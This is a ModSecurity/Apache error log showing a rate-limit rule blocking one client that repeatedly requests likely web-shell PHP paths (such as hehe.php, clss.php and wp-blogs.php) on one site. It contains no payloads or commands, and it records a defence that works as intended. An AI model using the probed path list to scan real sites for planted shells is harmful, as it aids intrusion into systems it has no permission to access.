[Sat Apr 11 08:41:40.831567 2026] [:error] [pid 5795:tid 5900] [client 4.233.120.250:42671] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "admYxJgvRQRkGSWa6n_gkAAAANA"]
[Sat Apr 11 08:41:41.710689 2026] [:error] [pid 5795:tid 5884] [client 4.233.120.250:64986] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "admYxZgvRQRkGSWa6n_gngAAAME"]
[Sat Apr 11 08:41:42.329909 2026] [:error] [pid 5794:tid 5862] [client 4.233.120.250:42636] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "admYxojGQwKS4utx44NkiwAAAIY"]
[Sat Apr 11 08:41:42.850918 2026] [:error] [pid 5949:tid 5960] [client 4.233.120.250:36347] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "admYxv28g0lvFuzWT5UbLwAAAEg"]
[Sat Apr 11 08:41:43.759036 2026] [:error] [pid 5949:tid 5952] [client 4.233.120.250:47338] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "admYx_28g0lvFuzWT5UbNgAAAEA"]
[Sat Apr 11 08:41:44.808320 2026] [:error] [pid 5949:tid 5966] [client 4.233.120.250:19620] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "admYyP28g0lvFuzWT5UbOwAAAE4"]
[Sat Apr 11 08:41:45.642243 2026] [:error] [pid 5949:tid 5952] [client 4.233.120.250:52177] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "admYyf28g0lvFuzWT5UbPwAAAEA"]
[Sat Apr 11 08:41:46.492907 2026] [:error] [pid 5795:tid 5907] [client 4.233.120.250:6452] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "admYypgvRQRkGSWa6n_gsgAAANc"]
[Sat Apr 11 08:41:48.739993 2026] [:error] [pid 5793:tid 5833] [client 4.233.120.250:57672] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "admYzMLXvguFrb7p0Zu5pAAAAAs"]
[Sat Apr 11 08:41:49.358493 2026] [:error] [pid 5795:tid 5884] [client 4.233.120.250:36298] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "admYzZgvRQRkGSWa6n_gxQAAAME"]
[Sat Apr 11 08:41:50.038018 2026] [:error] [pid 5795:tid 5898] [client 4.233.120.250:6447] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "admYzpgvRQRkGSWa6n_gxwAAAM4"]
[Sat Apr 11 08:41:50.523893 2026] [:error] [pid 5795:tid 5883] [client 4.233.120.250:23450] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "admYzpgvRQRkGSWa6n_gzAAAAMA"]
[Sat Apr 11 08:41:51.032663 2026] [:error] [pid 5795:tid 5906] [client 4.233.120.250:43786] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "admYz5gvRQRkGSWa6n_g0QAAANY"]
[Sat Apr 11 08:41:51.780514 2026] [:error] [pid 5793:tid 5842] [client 4.233.120.250:55591] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "admYz8LXvguFrb7p0Zu5sgAAABQ"]
[Sat Apr 11 08:41:52.695440 2026] [:error] [pid 5795:tid 5892] [client 4.233.120.250:7107] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "admY0JgvRQRkGSWa6n_g3AAAAMg"]
[Sat Apr 11 08:41:53.651548 2026] [:error] [pid 5795:tid 5903] [client 4.233.120.250:62012] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "admY0ZgvRQRkGSWa6n_g4wAAANM"]
[Sat Apr 11 08:41:54.724231 2026] [:error] [pid 5949:tid 5956] [client 4.233.120.250:12878] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "admY0v28g0lvFuzWT5UbaAAAAEQ"]
[Sat Apr 11 08:41:55.241062 2026] [:error] [pid 5795:tid 5888] [client 4.233.120.250:23479] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "admY05gvRQRkGSWa6n_g8gAAAMQ"]
[Sat Apr 11 08:41:56.122860 2026] [:error] [pid 5949:tid 5961] [client 4.233.120.250:23487] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "admY1P28g0lvFuzWT5UbagAAAEk"]
[Sat Apr 11 08:41:57.001207 2026] [:error] [pid 5793:tid 5843] [client 4.233.120.250:51849] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "admY1cLXvguFrb7p0Zu5wwAAABU"]
[Sat Apr 11 08:41:57.856279 2026] [:error] [pid 5949:tid 5956] [client 4.233.120.250:40293] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "admY1f28g0lvFuzWT5UbcwAAAEQ"]
[Sat Apr 11 08:41:58.504008 2026] [:error] [pid 5794:tid 5864] [client 4.233.120.250:21900] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "admY1ojGQwKS4utx44NkmAAAAIg"]
[Sat Apr 11 08:41:59.254549 2026] [:error] [pid 5795:tid 5883] [client 4.233.120.250:7108] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "admY15gvRQRkGSWa6n_hCgAAAMA"]
[Sat Apr 11 08:41:59.881984 2026] [:error] [pid 5794:tid 5879] [client 4.233.120.250:64997] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "admY14jGQwKS4utx44NkoAAAAJc"]
[Sat Apr 11 08:42:01.377685 2026] [:error] [pid 5793:tid 5828] [client 4.233.120.250:56274] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "admY2cLXvguFrb7p0Zu5yAAAAAY"]
[Sat Apr 11 08:42:02.327758 2026] [:error] [pid 5793:tid 5843] [client 4.233.120.250:51855] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "admY2sLXvguFrb7p0Zu5ywAAABU"]
[Sat Apr 11 08:42:02.963239 2026] [:error] [pid 5949:tid 5959] [client 4.233.120.250:42654] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "admY2v28g0lvFuzWT5UbfgAAAEc"]
[Sat Apr 11 08:42:03.612445 2026] [:error] [pid 5949:tid 5970] [client 4.233.120.250:43816] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "admY2_28g0lvFuzWT5UbgQAAAFI"]
[Sat Apr 11 08:42:04.221783 2026] [:error] [pid 5949:tid 5972] [client 4.233.120.250:60063] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "admY3P28g0lvFuzWT5UbiAAAAFQ"]
[Sat Apr 11 08:42:04.988343 2026] [:error] [pid 5793:tid 5826] [client 4.233.120.250:45290] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "admY3MLXvguFrb7p0Zu51gAAAAQ"]
[Sat Apr 11 08:42:05.500522 2026] [:error] [pid 5794:tid 5880] [client 4.233.120.250:54732] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "admY3YjGQwKS4utx44NkrwAAAJg"]
[Sat Apr 11 08:42:06.162728 2026] [:error] [pid 5793:tid 5842] [client 4.233.120.250:61953] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "admY3sLXvguFrb7p0Zu55wAAABQ"]
[Sat Apr 11 08:42:06.756739 2026] [:error] [pid 5949:tid 5972] [client 4.233.120.250:19603] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "admY3v28g0lvFuzWT5UbkQAAAFQ"]
[Sat Apr 11 08:42:07.346768 2026] [:error] [pid 5793:tid 5844] [client 4.233.120.250:59785] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "admY38LXvguFrb7p0Zu57gAAABY"]
[Sat Apr 11 08:42:07.986737 2026] [:error] [pid 5794:tid 5867] [client 4.233.120.250:21914] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "admY34jGQwKS4utx44NkugAAAIs"]
[Sat Apr 11 08:42:08.721872 2026] [:error] [pid 5794:tid 5860] [client 4.233.120.250:7139] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "admY4IjGQwKS4utx44NkwAAAAIQ"]
[Sat Apr 11 08:42:09.276794 2026] [:error] [pid 5793:tid 5826] [client 4.233.120.250:43822] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "admY4cLXvguFrb7p0Zu59QAAAAQ"]
[Sat Apr 11 08:42:09.964249 2026] [:error] [pid 5794:tid 5866] [client 4.233.120.250:45252] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "admY4YjGQwKS4utx44NkwwAAAIo"]
[Sat Apr 11 08:42:10.591972 2026] [:error] [pid 5793:tid 5846] [client 4.233.120.250:61990] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "admY4sLXvguFrb7p0Zu6AAAAABg"]
[Sat Apr 11 08:42:11.449508 2026] [:error] [pid 5949:tid 5963] [client 4.233.120.250:65007] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "admY4_28g0lvFuzWT5UbnQAAAEs"]
[Sat Apr 11 08:42:12.065476 2026] [:error] [pid 5794:tid 5861] [client 4.233.120.250:12872] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "admY5IjGQwKS4utx44NkyAAAAIU"]
[Sat Apr 11 08:42:12.761778 2026] [:error] [pid 5794:tid 5878] [client 4.233.120.250:26160] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "admY5IjGQwKS4utx44NkzQAAAJY"]
[Sat Apr 11 08:42:13.412851 2026] [:error] [pid 5795:tid 5906] [client 4.233.120.250:12927] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "admY5ZgvRQRkGSWa6n_hVQAAANY"]
[Sat Apr 11 08:42:25.288129 2026] [:error] [pid 5795:tid 5902] [client 4.233.120.250:23471] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "admY8ZgvRQRkGSWa6n_hdgAAANI"]
[Sat Apr 11 08:42:25.806141 2026] [:error] [pid 5794:tid 5873] [client 4.233.120.250:24267] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "admY8YjGQwKS4utx44NlAAAAAJE"]
[Sat Apr 11 08:42:26.459103 2026] [:error] [pid 5949:tid 5953] [client 4.233.120.250:58466] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "admY8v28g0lvFuzWT5Ub6QAAAEE"]
[Sat Apr 11 08:42:27.247365 2026] [:error] [pid 5949:tid 5967] [client 4.233.120.250:45269] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "admY8_28g0lvFuzWT5Ub9QAAAE8"]
[Sat Apr 11 08:42:27.826150 2026] [:error] [pid 5949:tid 5960] [client 4.233.120.250:24278] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "admY8_28g0lvFuzWT5Ub_QAAAEg"]
[Sat Apr 11 08:42:28.375982 2026] [:error] [pid 5949:tid 5973] [client 4.233.120.250:56728] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "admY9P28g0lvFuzWT5UcBAAAAFU"]
[Sat Apr 11 08:42:28.975377 2026] [:error] [pid 5794:tid 5860] [client 4.233.120.250:54774] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "admY9IjGQwKS4utx44NlBAAAAIQ"]
[Sat Apr 11 08:42:29.645736 2026] [:error] [pid 5793:tid 5839] [client 4.233.120.250:44308] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "admY9cLXvguFrb7p0Zu6LAAAABE"]
[Sat Apr 11 08:42:30.166458 2026] [:error] [pid 5949:tid 5952] [client 4.233.120.250:62344] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "admY9v28g0lvFuzWT5UcEgAAAEA"]
[Sat Apr 11 08:42:30.743735 2026] [:error] [pid 5794:tid 5877] [client 4.233.120.250:16155] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "admY9ojGQwKS4utx44NlBwAAAJU"]
[Sat Apr 11 08:42:31.485342 2026] [:error] [pid 5794:tid 5872] [client 4.233.120.250:56975] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "admY94jGQwKS4utx44NlDQAAAJA"]
[Sat Apr 11 08:42:32.059736 2026] [:error] [pid 5795:tid 5890] [client 4.233.120.250:7261] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "admY-JgvRQRkGSWa6n_higAAAMY"]
[Sat Apr 11 08:42:32.784486 2026] [:error] [pid 5949:tid 5962] [client 4.233.120.250:55569] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zlnckdxn.php"] [unique_id "admY-P28g0lvFuzWT5UcIQAAAEo"]
[Sat Apr 11 08:42:33.322025 2026] [:error] [pid 5795:tid 5891] [client 4.233.120.250:55554] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zlnckdxn.php"] [unique_id "admY-ZgvRQRkGSWa6n_hkQAAAMc"]
